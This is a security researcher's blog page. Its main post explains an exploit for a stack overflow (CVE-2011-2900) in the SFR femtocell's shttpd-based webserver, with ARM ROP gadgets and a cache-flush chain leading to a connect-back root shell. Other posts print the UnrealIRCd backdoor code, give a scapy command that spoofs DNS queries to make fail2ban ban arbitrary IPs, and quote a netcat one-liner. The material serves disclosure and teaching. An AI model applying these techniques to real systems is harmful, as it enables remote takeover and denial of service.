nion's blog

Exploiting the Ubiquisys/SFR femtocell webserver (wsal/shttpd/mongoose/yassl embedded webserver)

As a part of our research on the SFR femtocell I had the pleasure to look for a vulnerability
that might assist us in compromising remote devices.
One of the obvious software targets of the box has been the webserver (wsal) that is used to serve some web pages used for configuring the device.
As all other services on the box, it runs with root privileges. The device itself runs a Linux 2.6.18-ubi-sys-V2.0.17 on an ARM926EJ (ARMv5).

The bug (CVE-2011-2900):
I started reversing the binary when at some point Kevin pointed out a string in the binary that hinted towards the Open Source project
shttpd (which has been relabeled in mongoose at some point and that is also the basis for the yassl embedded webserver.
So this made things a lot easier. As the web service is fairly powerful (including CGI, SSI support) I first looked for non-software related bugs.
From shttpd.c/defs.h:

struct vec {
const char *ptr;
int len;
};
const struct vec known_http_methods[] = {
{"GET", 3},
{"POST", 4},
{"PUT", 3},
{"DELETE", 6},
{"HEAD", 4},
{NULL, 0}
};

Hmm, that's already more methods than expected. So it made sense to look at those methods.

As the webserver can execute CGI I assumed PUT might be interesting in order to push stuff onto the device and execute it.
However, it turned out that the web directory is mounted read-only (and the code gracefully handles path traversal attempts).
DELETE died for the same reason and it seemed unlikely that this would result in code execution anyway.
Back to software vulnerabilities and the PUT functionality.

Let's have a look at the function handling PUT requests (io_dir.c/put_dir()):

int put_dir(const char *path) {
char buf[FILENAME_MAX];
const char *s, *p;
struct stat st;
size_t len;
for (s = p = path + 2; (p = strchr(s, '/')) != NULL; s = ++p) {
len = p - path;
assert(len < sizeof(buf));
(void) memcpy(buf, path, len);
buf[len] = '\0';
if (my_stat(buf, &st) == -1 && my_mkdir(buf, 0755) != 0)
return (-1);
if (p[1] == '\0') return (0);
}
return (1);
}

The function is pretty simple. It loops over the URL path and tries to create each directory of the complete path (Similar to mkdir -p).
To do that, the path chunk is copied into the stack buffer buf before it is passed to stat and mkdir.
The len argument of the memcpy operation is determined by the distance between two consecutive / characters.
Assuming that path can be longer than FILENAME_MAX (+/- a few bytes overhead for the rest of the URL), this is a classical stack-based buffer overflow and
seemed like a nice candidate for code execution.

In this code snippet the len argument is guarded to not overflow (assert statement). However, assert is only in place if the binary was not compiled with -DNDEBUG, right? I haven't seen any calls to assert wrapper function while looking at the disassembly of wsal.
But let's check this...
The following output is generated using the radare.
If you're on linux, you need a multi-arch reversing tool chain (with unix philosophy in mind) and you can't or don't want to use IDA, I can highly recommend looking at this tool (even though it's still work-in-progress).

[0x0000b454]> pD 100@sym.put_dir
0x0007d898 sym.put_dir:
0x0007d898 0 f0412de9 push {r4, r5, r6, r7, r8, lr}
0x0007d89c 0 41dd4de2 sub sp, sp, #4160 ; 0x1040
0x0007d8a0 0 18d04de2 sub sp, sp, #24 ; 0x18
0x0007d8a4 0 18708de2 add r7, sp, #24 ; 0x18
0x0007d8a8 0 9c809fe5 ldr r8, [pc, #156] ; 0x0007d94c; => 0xffffefa8
0x0007d8ac 0 0060a0e1 mov r6, r0
0x0007d8b0 0 187047e2 sub r7, r7, #24 ; 0x18
0x0007d8b4 0 023080e2 add r3, r0, #2 ; 0x2
0x0007d8b8 0 2f10a0e3 mov r1, #47 ; 0x2f
0x0007d8bc 0 0300a0e1 mov r0, r3
0x0007d8c0 0> fd34feeb bl imp.strchr
; imp.strchr() [1]
0x0007d8c4 0 005050e2 subs r5, r0, #0 ; 0x0
0x0007d8c8 0 054066e0 rsb r4, r6, r5
0x0007d8cc 0 0610a0e1 mov r1, r6
0x0007d8d0 0 0420a0e1 mov r2, r4
0x0007d8d4 0 0d00a0e1 mov r0, sp
0x0007d8d8 0 1400000a beq 0x0007d930 [2]
0x0007d8dc 0> 3e35feeb bl imp.memcpy

As we can see, we see nothing. In particular, no comparison and no call to __assert_fail.
So we're lucky, looks like we found our candidate for code execution. A pretty simple standard buffer overflow.
Interestingly, the shttpd Makefile even mentions -NDEBUG in order to save ~5kB binary size (remember, this is an embedded device).

Let's look at how put_dir returns so we can get control over the program flow.
At the function entry registers r4-r7 and the link-register are pushed onto the stack.
Leaving looks similar with the difference that the link-register isn't used, but the return value is directly popped into pc.

[0x0000b454]> pD 12@sym.put_dir+140
0x0007d924 0 58d08de2 add sp, sp, #88 ; 0x58
0x0007d928 0 01da8de2 add sp, sp, #4096 ; 0x1000
0x0007d92c 0 f081bde8 pop {r4, r5, r6, r7, r8, pc}

The pc register is equivalent to EIP on x86 with the difference that you can directly read and write to it.
As it is popped from our overflown stack-buffer, this would give us direct control over the program flow.

Now the interesting question was, does wsal also support this request type or is it not calling this function?

[0x0000b454]> pw 48@sym.known_http_methods
0x0008ea90 0x0008e704 0x00000003 0x0008e708 0x00000004 ................
0x0008ead0 0x0008e710 0x00000003 0x0008266c 0x00000006 ........l&......
0x0008eb10 0x0008e714 0x00000004 0x00000000 0x00000000 ................
[0x0000b454]> # here we can already see that this is the vec struct
[0x0000b454]> # lets look for PUT
[0x0000b454]> ps @0x0008e710
PUT

This made it clear that the wsal binary also supports PUT.
Looking at shttpd.c, it seems that PUT as well as DELETE should only be enabled for authorized users (which probably wouldn't be a big problem), but funnily the Makefile also states: # -DNO_AUTH - disable authorization support (-4kb) which was of course also set by wsal

Exploitation:
Exploitation of this seemed rather straight forward given the nature of this bug.
The stack was marked non-executable in the ELF binary, but fortunately the ARMv5 doesn't support the XN bit yet.
However, experimenting with this bug I noticed fairly quickly that ASLR is enabled on the device and our stack address is randomized.
As a result, I couldn't just place my shellcode into buf and jump right to it.
ROP would've been an option, but as my ARM knowledge was limited before playing with this bug, I didn't like this option (even though as we will see, I need it anyway, but not for the actual payload).
Return-to-libc, by e.g. returning to system(), was no interesting option either, as the there is no network binary such as netcat installed on the box.

So I had to find something else. And as it turned out, the support for heap randomization as well as library randomization starts pretty late on ARM. As Kees points out this started in 2.6.37.
This nails down one possible problem. As path was not the original request buffer, but only a copy of it, I started looking for copies of my input or the possibility to put the payload somewhere else (e.g. a POST body, HTTP headers...).

First, I checked where path is coming from (shttpd.c/decide_what_to_do()):

static void decide_what_to_do(struct conn *c){
char path[URI_MAX], buf[1024], *root;
...
url_decode(c->uri, strlen(c->uri), c->uri, strlen(c->uri) + 1);
remove_double_dots(c->uri);
...
if (strlen(c->uri) + strlen(root) >= sizeof(path)) {
send_server_error(c, 400, "URI is too long");
return;
}
(void) my_snprintf(path, sizeof(path), "%s%s", root, c->uri);
...
if (c->ch.range.v_vec.len > 0) {
send_server_error(c, 501, "PUT Range Not Implemented");
} else if ((rc = put_dir(path)) == 0) {
send_server_error(c, 200, "OK");
}

There we go, path originates from c->uri which is an url-decoded form of itself.
One important thing we have to take into account at this point is that the URL can't be of arbitrary length, but is checked against URI_MAX.
We have to overflow a buffer in put_dir() with a length of FILENAME_MAX...
However, we are lucky, URI_MAX is defined as 16384 (config.h) while FILENAME_MAX from put_dir is an alias for MAX_PATH which is defined as 4096.
So where is c->uri coming from? Again we look at shttpd.c, this time the parse_http_request() function:

static void parse_http_request(struct conn <strong>c) {
...
} else if ((c->uri = malloc(uri_len + 1)) == NULL) {
send_server_error(c, 500, "Cannot allocate URI");
} else {
my_strlcpy(c->uri, (char </strong>) start, uri_len + 1);
parse_headers(c->headers, (c->request + req_len) - c->headers, &c->ch);
...
decide_what_to_do(c);
}

As we can see, c->uri is allocated on the heap and as I mentioned, heap randomization was introduced pretty late on ARM/Linux, I assumed I can just jump right into the heap copy of my input.
There is a nice side-effect of using the heap copy of the buffer to place our shellcode.
Because url_decode() is called on the complete uri length, we have no restrictions whatsoever regarding the bytes we can
include in our final shellcode, it can include zeros and the-like in url-encoded form.
Anyway, few minutes later it became clear that I can't just jump right to it

# cat /proc/480/maps
00008000-0009f000 r-xp 00000000 1f:06 6002148 /opt/ubiquisys/primary/bin/wsal
000a6000-000a8000 rw-p 00096000 1f:06 6002148 /opt/ubiquisys/primary/bin/wsal
000a8000-000c9000 rwxp 000a8000 00:00 0 [heap]
...
402eb000-402f6000 r-xp 00000000 1f:05 2926580 /lib/libgcc_s.so.1
402f6000-402fd000 ---p 0000b000 1f:05 2926580 /lib/libgcc_s.so.1
402fd000-402fe000 rw-p 0000a000 1f:05 2926580 /lib/libgcc_s.so.1
402fe000-4040c000 r-xp 00000000 1f:05 1481528 /lib/libc-2.3.6.so
4040c000-40414000 ---p 0010e000 1f:05 1481528 /lib/libc-2.3.6.so
40414000-40416000 r--p 0010e000 1f:05 1481528 /lib/libc-2.3.6.so
40416000-40417000 rw-p 00110000 1f:05 1481528 /lib/libc-2.3.6.so
...

While the leading zero itself was no a problem for the input itself (because I can just urlencode this), put_dir has a problem with that.
If we recall, the loop is using strchr to determine len.
So if we include a zero before the terminating / in the URL to jump to our heap buffer, our buffer overflow will actually never happen.
However, the path copy that is passed to put_dir() is created using snprintf() and this is little-endian.
Therefore, we can include one zero in the url-decoded, stack-based path buffer (in decide_what_to_do()) and pop the address including the zero from there.
It just has to be past the / character that we need to get a large len value.
How do we pop it from there after our buffer was overwritten and the stack frame of put_dir() was teared down?
Here is where some ROP is needed (or call it jump-oriented).

When the put_dir() function is left, the stack pointer is below the path stack buffer that was passed as an address to the put_dir() function (from where it was copied into the stack buffer over put_dir) and is as well already url-decoded.
So if we can lift our stack pointer back up, it should be possible to pop an address with a leading zero from this buffer.

Looking at the mentioned program map output, it is visible that libc and libgcc are mapped at addresses without a leading zero. Their base is also not randomized.
I didn't have any particular tool to find ROP snippets, but as on ARM all instructions are word aligned, it was easy to find proper instructions with objectdump
and grep. In particular objdump -d /lib/libc-2.3.6.so | grep -A 2 -E 'add sp, sp,.*' | grep -B 2 -E 'pop.*(pc|lr)' (can also be done with radare if you're more advanced in usin it than i am ).
This way I searched for stack lifting instructions followed by an instruction that pops stack buffer content to pc or the link register in order to regain control.
I found a good candidate:

[0x00013994]> pD 8@sym.sigprocmask+108
0x00028ea0 0 84d08de2 add sp, sp, #132 ; 0x84
0x00028ea4 0 f080bde8 pop {r4, r5, r6, r7, pc}

This was perfect. Now I could just make my first jump to this snippet, lift the stack pointer back into my buffer, place the address of sigprocmask+108 url-encoded
in my buffer (together with fake r4-r7 values) and lift the stack until I'm past the / character and pop my zero-address from there.
The goal was still to jump to the shellcode in the heap copy of the buffer.

The ARM-stacle:
This would work well, if the target architecture wouldn't be ARM.
There is an important constraint on ARM when writing exploits. Unlike x86, ARM is based on the Harvard Architecture.
This means that code and data cache are separated. I didn't know this first.
A result of this was that when hitting my heap shellcode, the program crashed with a SIGILL.
However, analyzing the coredump and the pc at that time always showed correct instructions.
Due to the Harvard Architecture, my shellcode is copied into the data cache.
But in order to execute it, it needs to land in the data cache and thus written back to main memory.
Because it wasn't the coredump displayed instructions that weren't actually in the data cache and thus resulting in SIGILL due to whatever was executed as instructions at this point.

It turns out that there are two solutions two this problem. The first one is a simple instruction (MCR). However, it is limited to kernel mode.
The other option is a clear cache syscall that takes 3 arguments, a start address, a range and flags. This seemed nice.
What was even more nice is that the wsal links against libgcc which provides a wrapper to do that:

[0x000023e0]> pD 32@sym.__clear_cache
0x00004484 sym.__clear_cache:
0x00004484 0 04702de5 push {r7} ; (str r7, [sp, #-4]!)
0x00004488 0 0020a0e3 mov r2, #0 ; 0x0
0x0000448c 0 08709fe5 ldr r7, [pc, #8] ; 0x0000449c; => 0x000f0002
0x00004490 0 02009fef svc 0x009f0002
; syscall[0x27e][0]=?
0x00004494 0 8000bde8 pop {r7}
0x00004498 0 1eff2fe1 bx lr

Crafting the 0x009f0002 by ROP would've been a bit painful I suppose so this wrapper was nice.
So before jumping to our shellcode, we need to call this syscall.

A small excerpt from linux-2.6/arch/arm/traps.c to better understand this syscall:

static inline void do_cache_op(unsigned long start, unsigned long end, int flags) {
struct mm_struct *mm = current->active_mm;
struct vm_area_struct *vma;
if (end < start || flags)
return;
down_read(&mm->mmap_sem);
vma = find_vma(mm, start);
if (vma && vma->vm_start < end) {
if (start < vma->vm_start)
start = vma->vm_start;
if (end > vma->vm_end)
end = vma->vm_end;
flush_cache_user_range(vma, start, end);
}
up_read(&mm->mmap_sem);
}

Some places suggest that you can pass 0 as a start and -1 (0xffffffff) as a range to this syscall and flush everything.
However, this doesn't seem to work and looking at this function I also don't understand why it should.
find_vma()(from mmap.c) will traverse the internal tree representation of the kernel until it finds the first
virtual memory area that satisfies start < vma->vm_start. So if the start address is zero, this should hardly ever end up in the area of attacker controlled payload (unless you are very lucky). Also flushing the complete memory range doesn't work. As we see end will be set to vma->vm_end if it is bigger than the actual vma end.
To sum up, we really need proper values. We need a heap address lower or equal than our shellcode address in r1 and a length larger than our payload in r2.

As __clear_cache() returns using the link register, we furthermore have to fill that with a proper value to regain control after flushing the cache.
So the plan is: overflow the buffer, lift our stack to a place where we can pop arbitrary addresses (these two steps could also be exchanged), flush the cache, jump to shellcode.
The following shows the required ROP sequences to perform this. Searching these instructions was also simply done using objdump and grep:

[0x00013994]> pD 12@sym.makecontext+0x1c
0x00036410 0 04e09de4 pop {lr} ; (ldr lr, [sp], #4)
0x00036414 0 08d08de2 add sp, sp, #8 ; sym.__libc_errno
0x00036418 0 1eff2fe1 bx lr
; ------------
[0x00013994]> # here we pop lr from our input stack buffer, so we can properly return from __clear_cache
[0x00013994]> # we will jump to a random instruction that pops us pc from the stack and in this case r4 even though we don't need it, this way we gain control back after __clear_cache
[0x00013994]> pD 4@sym.free_slotinfo+0x80
0x000f537c 0 1080bde8 pop {r4, pc}
[0x00013994]> # lets fill our range register now
[0x00013994]> pD 4@sym.__aeabi_cfcmple+0x10
0x000f3928 0 0f80bde8 pop {r0, r1, r2, r3, pc}
[0x00013994]> # we don't need r0,r2 and r3, however r1 will pop our range which will be CCCC
[0x00013994]> # at this point we have to get out buffer address into r0
[0x00013994]> # we are lucky and a heap address in front of our payload resists in r11 already (due to previous function calls)
[0x00013994]> # r11 is equivalent to fp
[0x00013994]> # so let's move it..
[0x00013994]> pD 8@sym.envz_merge+0xb8
0x00070bbc 0 0b00a0e1 mov r0, fp
0x00070bc0 0 f08bbde8 pop {r4, r5, r6, r7, r8, r9, fp, pc}
[0x00013994]> # after this step the address of __clear_cache will be popped into pc and the syscall executes flushing our heap range
[0x00013994]> # it returns control to the link register value pointing to the previous snippet popping r4 and pc
[0x00013994]> # which pops our 0 leading heap address into pc and executes the shellcode

Mission accomplished. The used shellcode then executes a connect-back shell!

As a result, this is a remote root for SFR femtocells.
The complete exploit is available here

It needs slight modification in case you modified your firmware e.g. with library hooking....
As mentioned before, depending on how shttpd/mongoose/yassl embedded webserver have been compiled, they may be affected by the problem itself.
The exact code for them differs slightly, but all of them contain the same bug if compiled with the right options.

Slides of our presentation: http://femto.sec.t-labs.tu-berlin.de/bh2011.pdf

UPDATE: it seems they have fixed the issue in the latest firmware release (V2.0.24.1) by disabling the PUT functionality completely

So what happened recently...

I felt the need to do a short writeup of what I actually did in the last time since I became fairly quiet in some parts of the net.
During the time I was mostly busy with working on my diploma thesis (I will hopefully rework my homepage soon and also upload the thesis pdf then) titled SMS Vulnerability Analysis on Feature Phones. During this study I was working on a modified version of OpenBSC (thanks to the great people developing this at this point!) that allows me to do over-the-air fuzzing of the short message service on so-called feature phones. The study aimed to not only look at one specific phone model for testing but also do a large scale analysis of the big players in that market section.

This has been interesting to us as SMS is known to be problematic from the past, feature phones are widely deployed on the market (compared to only ~16% smartphones, even though uprising), and it is not possible (or let's say not feasible if you want to test a large number of devices without patching the firmware blobs) to modify the underlying operating system for testing. The application platforms are less integrated into the operating system, have less abilities to interact with other applications on the phone, and have far less advanced APIs compared to open APIs on smartphones. Smartphones often provide the ability to run native code. During the work I found bugs for all tested manufacturers (Nokia,Motorola,LG,Sony Ericsson,Samsung,Micromax (3rd biggest manufacturer in india)).

A large part of this work is the result of a talk with my colleague Collin Mulliner at the 27C3 congress and CanSecWest.
SMS-o-Death: from analyzing to attacking mobile phones on a large scale (slides)

Both conferences have been excellent (even though pretty different). Thanks to Dragos for organizing CSW, it was a blast! I also had the chance to visit TROOPERS. Although being a fairly young and small security conference (organized by ERNW), a pretty good one (in terms of people, overall atmosphere and also talks) and definitely worth a visit!

Being finished with my studies (well I don't have the official certificate yet) I will now look forward to work in a PhD position at the department I already work at, SecT. I will probably look into mobile handset security, system security and security of "modern" mobile communication systems (such as GSM,UMTS,...). I'm not really interested in the title at the end of the PhD, but working in this area and especially at university has been lots of fun to me (recently playing with femtocells) so far, so I try to keep it that way

That's it for the update on what has been going on.

P.S. I finally failed to resist and you can now as well follow me on twitter @iamnion

Debian 6.0 squeeze

Wooohoo, we finally released squeeze! Many thanks to everyone who worked on this the past 2 years and also it's nice to see the new "corporate" design going live!

exim remote vulnerability

It appears there is a remote vulnerability in exim with the possibility to escalate privileges to root, some details on http://www.exim.org/lurker/message/20101207.215955.bb32d4f2.en.html. Security teams are currently looking into the issue.

SCNR, but this is your chance to switch to a better alternative

UPDATE: patch for the buffer overflow (CVE-2010-4344): http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b
A few additional patches will be applied to fix the privilege escalation and other things.

Will my Phone Show An Unencrypted Connection?

The GSM security hype is all over the place and certainly the specifications are currently totally ripped in pieces. Some of the common attacks against mobile phones for example man-in-the-middle scenarios using an IMSI-catcher base on an attacker forcing you to downgrade to a weaker cipher mode or a mode with no ciphering at all. Now the question arises, is a user noticing this change? According to GSM 02.07 there seems to be an indicator that should allow the user to see if ciphering is turned off or on. Dieter Spaar did some tests to find out which mobile phones indicate this and which not. The results are actually pretty interesting (and shocking), a lot of them don't.

The list is not that huge so far but I think it's a pretty good start and from what I've seen lately the manufacturs are more interesting than a specific phone model. A lot stuff besides the typical user interfaces, eye-candy and hardware does not change between different models. It would be also interesting to see how those phones actually indicate it. I personally haven't seen such an indicator yet so I'm not sure if it's some unknown tiny symbol which is probably meaningless to a user or not.

Results are now also collected at: http://security.osmocom.org/trac/wiki/WillMyPhoneShowAnUnencryptetConnection
which is part of a new wiki page that aims to collect all the known GSM security problems. This is also a part of the awesome osmocom-BB project.

smpCTF 2010 quals writeups

I participated together with some friends in this years edition of the smpCTF quals (actually it took place for the first time). Since we also qualified for the finals we had to submit a writeup of all challenges. For those who are interested, our submission is located on: http://nion.modprobe.de/smpctf/smpctf.html.

All in all I had fun during this weekend but I also have to say that I've had more at other CTFs in the past. What disappointed me especially is that I'm aware of at least 2 challenges that seem to be only slight alterations of challenges from the DEFCON and Codegate quals. I also missed creativity when it comes to the binary exploitation challenges, most of them have not been challenging. But as said, I enjoyed this weekend, had lots of fun and a big plus was the radio stream during the competition with support from dubstep.fm

Anyway, congrats to team nibbles who've won the CTF

protocol design fail: MMS notification

I was just looking into some specifications of the openmobilealliance when I got the content for todays WTF moment.
An MMS notification is usually sent over SMS and encodes various fields including the location of where the MMS content is located so the mobile phone can download it via e.g. WAP.

Now looking at WAP-209-MMSEncapsulation-20020105-a chapter 6.2. (Multimedia Message Notification) there's an interesting header field included in these notifications, X-Mms -Message-Size

Mandatory.
Full size of message in octets. The value of this header
field could be based on approximate calculation,
therefore it SHOULD NOT be used as a reason to reject
the MM.

Clearly the people who developed this must have taken some bad drugs. Adding a length field value to a header and allow it to be based on an approximation rather than an exact value just doesn't explain itself to me.

acrobat reader stealing my passwords

I know there is some setting in adobe acrobat reader to switch of monitoring of the X paste buffer (which I couldn't find now) and it seems one really wants that. I was very surprised today when I tried to paste a password using pwsafe and observed the following:
$ pwsafe -p fandango
Enter passphrase for /home/nion/.pwsafe.dat:
You are ready to paste the password for hosts.fandango from PRIMARY and CLIPBOARD
Press any key when done
Sending password for hosts.fandango to acroread@hostname via CLIPBOARD

So apparently acrobat reader is stealing my password from the X paste buffer if the application is running. Especially given all the javascript, malicious pdf file kungfu that is around these days I of course don't find this very amusing.

Lesson learned: Use xpdf whenever I can even though it really lacks features :/

UnrealIRCd backdoored

The UnrealIRCd team has just published an advisory advisory stating their release has been backdoored. From the advisory:

We found out that the Unreal3.2.8.1.tar.gz file on our mirrors has been
replaced quite a while ago with a version with a backdoor (trojan) in it.
This backdoor allows a person to execute ANY command with the privileges of
the user running the ircd. The backdoor can be executed regardless of any user
restrictions (so even if you have passworded server or hub that doesn't allow
any users in).

It appears the replacement of the .tar.gz occurred in November 2009 (at least on some mirrors). It seems nobody noticed it until now.

I'm personally not using this software but this is probably a shock for lots of sysadmins as this is one of the most popular IRC server applications. The last sentence of this quote is the most shocking to me. This slipped through the cracks for about 8 months without being noticed! This shows yet another time that upstream developers need to think about providing ways to allow users to properly verify the integrity of their releases and (which is probably more important) users need to verify what they download. There is no point in md5 and friends being broken if nobody cares for hashes anyway.

The UnrealIRCd people seemed to have learned their lesson and will start PGP/GPG signing their releases from now on. Hopefully their users verify their tarballs then.
So what was the backdoor exactly about? It didn't take me much time to find a backdoored tarball, "gladly" there are still lots of websites mirroring backdoored tarballs.

The backdoor is pretty small, simple and efficient, a full diff can be found here.
Only two files have been modified, the first one is the important one: s_bsc.c, function read_packet():

static int read_packet(aClient *cptr, fd_set *rfd)
{
int dolen = 0, length = 0, done;
time_t now = TStime();
if (FD_ISSET(cptr->fd, rfd) &&
!(IsPerson(cptr) && DBufLength(&cptr->recvQ) > 6090))
{
Hook *h;
SET_ERRNO(0);
#ifdef USE_SSL
if (cptr->flags & FLAGS_SSL)
length = ircd_SSL_read(cptr, readbuf, sizeof(readbuf));
else
#endif
length = recv(cptr->fd, readbuf, sizeof(readbuf), 0);
cptr->lasttime = now;
if (cptr->lasttime > cptr->since)
cptr->since = cptr->lasttime;
cptr->flags &= ~(FLAGS_PINGSENT | FLAGS_NONL);
// If not ready, fake it so it isnt closed
if (length < 0 && ERRNO == P_EWOULDBLOCK)
return 1;
if (length <= 0)
return length;
#ifdef DEBUGMODE3
if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))
DEBUG3_LOG(readbuf);
#endif

This is the important function to handle client connection data and processes all client data. the modification are the 4 lines at the end.
The code is simple. The first two bytes of readbuf are compared with DEBUGMODE3_INFO. readbuf is used a few lines before to read data from the client connection. So basically this introduces a new irc "command" DEBUGMODE3_INFO.
DEBUGMODE3_INFO is defined as AB in include/struct.h. If the received bytes match AB DEBUG3_LOG is called with the read buffer as argument. DEBUG3_LOG is just another macro that resolves to DEBUG3_DOLOG_SYSTEM (defined in the same file) which looks like:

#define DEBUG3_DOLOG_SYSTEM(x) system(x)

So this allows an attacker to connect to the irc server and execute arbitrary commands by using the AB comment. This is probably the most simple backdoor one can think of but it's rather efficient and unlikely to be hit by accident from a client. Bad days for UnrealIRCd and there are still many servers out there which are probably backdoored this way, at least it didn't cost me much time to find some :/

fail of the day: opera

I occasionally make use of the report function in opera in case it crashes (which happens quite often on 64bit for me), but if it crashes right when receiving the response
of the crash reporting website you really start to HATE that piece of software.

(notice Last visited URL)

FAIL! (using 0.60-6351)

fail2ban + dns = fail

fail2ban is used by many people to prevent certain types of DoS attacks. I use it myself to reduce trackback spam a little bit.

While this tool becomes quite handy in such situations it is also not generally recommend because you can shoot yourself in the foot. If one of the used filters has a bug and results in incorrect parsing your fail2ban installation might end up banning arbitrary IP addresses or even your own IP range (not even mentioning IP spoofing).
There existed at least two bugs of this kind to my knowledge and since regex might not always be easy I'm sure there will be more in the future.

Since I didn't want to look for a specific regex bug in one of the filters I thought about IP spoofing again and looked at fail2bans filters. What I needed was a filter processing log entries of a service listening on a UDP socket as TCP/IP spoofing over the internet doesn't really work well these days. Finding such a filter would mean an instant win situation. To my surprise there is such a filter: config/filter.d/named.conf

This filter is used to parse log entries consisting of denied DNS queries produced by bind. Interestingly there is even an article at debian-administration describing how to setup fail2ban to mitigate a DNS DDoS attack. This is of course a bad idea and I have no idea why this filter is shipped in a default fail2ban installation. DoSing abritary IP addresses with this filter in use becomes as easy as firing up scapy and querying the server with a forged source IP:

>>> send(IP(dst="81.169.172.197",src="xx.46.63.71")/UDP()/DNS(rd=1,qd=DNSQR(qname="foao.modprobe.de")))
.
Sent 1 packets.

This ends up as:
May 26 22:32:22 modprobe named[30245]: client xx.46.63.71#53: query 'foao.modprobe.de/A/IN' denied

in the bind logs which in turn results in:
2010-05-26 22:32:05,551 fail2ban.actions: WARNING [named-refused] Ban xx.46.63.71

In this example the spoofed IP was xx.46.63.71 which is not under my control.

Mission statement: don't use fail2ban unless you really want to shoot yourself in the foot or know pretty well what you're doing

evolution of spam or WTF is this!

It is possible with s9y to moderate blog comments after a certain amount of time has passed since the article was published.
A while back I got the following mail to approve a blog comment (I stripped the url and email address to not support the spam):

Mon, 19 Oct 2009 12:18:02 +0200 (CEST)
A new comment has been posted on your blog "nion's blog", to the entry entitled "security of scponly/sftp-server in combination with apache".
Link to entry: http://nion.modprobe.de/blog/archives/679-security-of-scponlysftp-server-in-combination-with-apache.html

Requires review: Yes (Auto-moderation after X days)
User IP-address: 24.123.215.XXX
User Name: SomeSpammer
User Email: webmaster@somespammer.com
User Homepage: http://www.somespammer.com

Comments:
Very interesting, seems so simple when you explain it like that.. nice one

This is quite obviously a spam comment to increase google ranks or site links in general.

Today I got a new comment:

Fri, 19 Mar 2010 02:35:54 +0200 (CEST)
A new comment has been posted on your blog "nion's blog", to the entry entitled "security of scponly/sftp-server in combination with apache".
Link to entry: http://nion.modprobe.de/blog/archives/679-security-of-scponlysftp-server-in-combination-with-apache.html

Requires review: Yes (Auto-moderation after X days)
User IP-address: 96.30.18.XXX
User Name: SomeSpammer
User Email: webmaster@somespammer.com
User Homepage: http://www.somespammer.com/

Comments:
Weird.. I found myself back here! small world. Reminds of this one from the commmandline kung fu of wietse.

( ( mkfifo ~/nc-feef && ( ( nc -v -l -p 22123 127.0.0.1 > ~/out ) & ) && ( ( cat /tmp/ncf | nc 127.0.0.1 22123 ) & ) && script -f ~/nc-feef ) & )

This comment is pointing to the same spammer site. Now comparing this comment to the first one at the first glance it seems even related to the blog post! Thinking of "wietse" the name Wietse Venema (author of postfix) pops up, so this also familiar.

Though opening a fifo in the home directory, a netcat listening tcp port on localhost with the output redirected to a file and then some tmp file piped to the listening port (thus writing the file) and attaching script to the FIFO doesn't really make sense?! Not that this is usually the case with spam, but wtf this is everything but obviously spam. If you have a blog that is commented highly frequent it might be a problem to sort that out and spot that even if it's not interesting to you. This is the difference to email, if it's spam, you don't notice but it's also not interesting you will just delete the mail. Using a blog you might approve such a comment as it might be interesting for another reader and you don't have time to read that in detail.

So this spam hit me 6 months after the first attempt again! It's interesting to see how spam evolves over time, this one clearly has been improved.

Now spam bots are producing code. This is scary. It will be interesting to see if and what comment I get from the guy on this article

if you type google into google...

... or you search for int main(int argn, char **argc) (I was looking for source code snippets that do not use the typical int argc, char **argv names) the google code search behaves rather strangely.

The first result you get is:

this is not too surprising as the google code search features regexes and * is a reserved symbol in POSIX extended regular expressions but at least the recommendation of int argn, char "main(int" "**argc)" is a bit surprising.

Searching for this actually results in a function that matches the string you wanted to search for originally. So far so good, I didn't look into the codesearch syntax in detail, so this might make sense.
The result looks like:

i
Note that the result has 9 pages (the screenshot is missing this detail) but also only 9 results. The first question that arises is: Why do they only display one result on the page instead of n (usually they do display more)?

Looking at the other pages it becomes confusing. On page 2 this looks like:

Now where have pages 4-9 been gone? Ok, to be fair, google sometimes strips additional search results if the content is too similar, this is not too surprising.

But then, visiting page 3 you get:

Tada, pages are there again!
At this point I am/was totally confused and am really wondering what the idea behind this behaviour is.
If someone is using the google codesearch more frequently (or even is a google employer) please enlighten me!

Two weeks with the n900

Two weeks ago I got myself a nokia n900 phone which is running maemo 5. So far I am quite happy with it, given that my previous phone was a sony erricsson p1i which is pretty crappy.
I've taken some notes about my experiences:

under normal use the battery lasts for ~ 2 days, if I'm using 3G the whole day I need to recharge it daily though

the terminal has a bug which results in the enter key not working under some conditions, ctrl-m works as a workaround though

playing normal dvdrips in mplayer is absolutely no problem without downscaling, 720p doesn't perform though

I somehow managed that my screen flipped and I wasn't able to flip it back, only a reboot solved that

It is not clear to me which tools you will find in the list of installable packages and which are only visible with apt-cache search. I also managed to end up with a doubled launch icon in my application list for some application

the termininal is not usable anymore after an ncurses program crashed, "reset" doesnt help either

wireless uses less battery than umts, way less

the back button in the browser is per default opening a fancy eyecandy browse history which is slow, so I mostly use backspace to browse back

there is lots of useful tools in the extras-devel repository, e.g. I can control my mpd via mmpc from the phone which is great

importing contacts works flawlessly, also merging existing contacts works as expected

jabber (including xmpp calls) are integrated in the contacts information (you can merge a jabber uid into an existing contact)

i've no idea yet what the internal video player is, but i wasn't able to play a non downscaled XviD file with it, mplayer does play it fine

freely placeable widgets are awesome

it's is really userfriendly and no geeky linux user phone

i would prefer not having busybox per default, i can install bash but the libc is still from busybox which implies world readable password hashes in /etc/passwd, so no other user accounts on my mobile

is there disk encryption available?

n900fly can't cause any good

gps with nokia maps is ok and I find it pretty usable even if a google maps client would be nice as well

the mp3 mplayer sucks unless you have tagged your music properly, you can't just play some folder without having a playlist for it

mplayer as an alternative from the console is no real alternative either, if you don't redirect its output to /dev/null it gets stuck in a loop when the display blanks,

app manager locks dpkg lock even if you just list available programs, no idea why this is needed and no idea how aptitude and synaptic are doing this

is there a good todo manager which comes with a widget listing todos?

is it possible to install armel debian packages without having a debian chroot?

sms are nicely organized per contact in an instant messaging fashion

the builtin accelerator works nice and you can automatically flip the screen when you want to dial a number, sometimes happens by accident though

the multiuser support works awesome and you get a nice overview of open applications in a composé fashion, it may be wise to have not 40 applications open though

the list of processes is already huge (like 160 processes running in the background)

i haven't checked out the sdk yet but I will do that soon as I need e.g. newsbeuter for RSS

hardware feels robust, arm cortex a8 is imho a very good processor, RAM could be more (the phone is heavily swapping)

you can not yet use the phone as a wireless access point without building your own kernel images, some people seem to be working on this

you can manipulate all kinds of stuff through the sysfs, including the phone led and the vibration

wireless certificates are sometimes shown to be invalid but there there is no details button, you can click only "done"

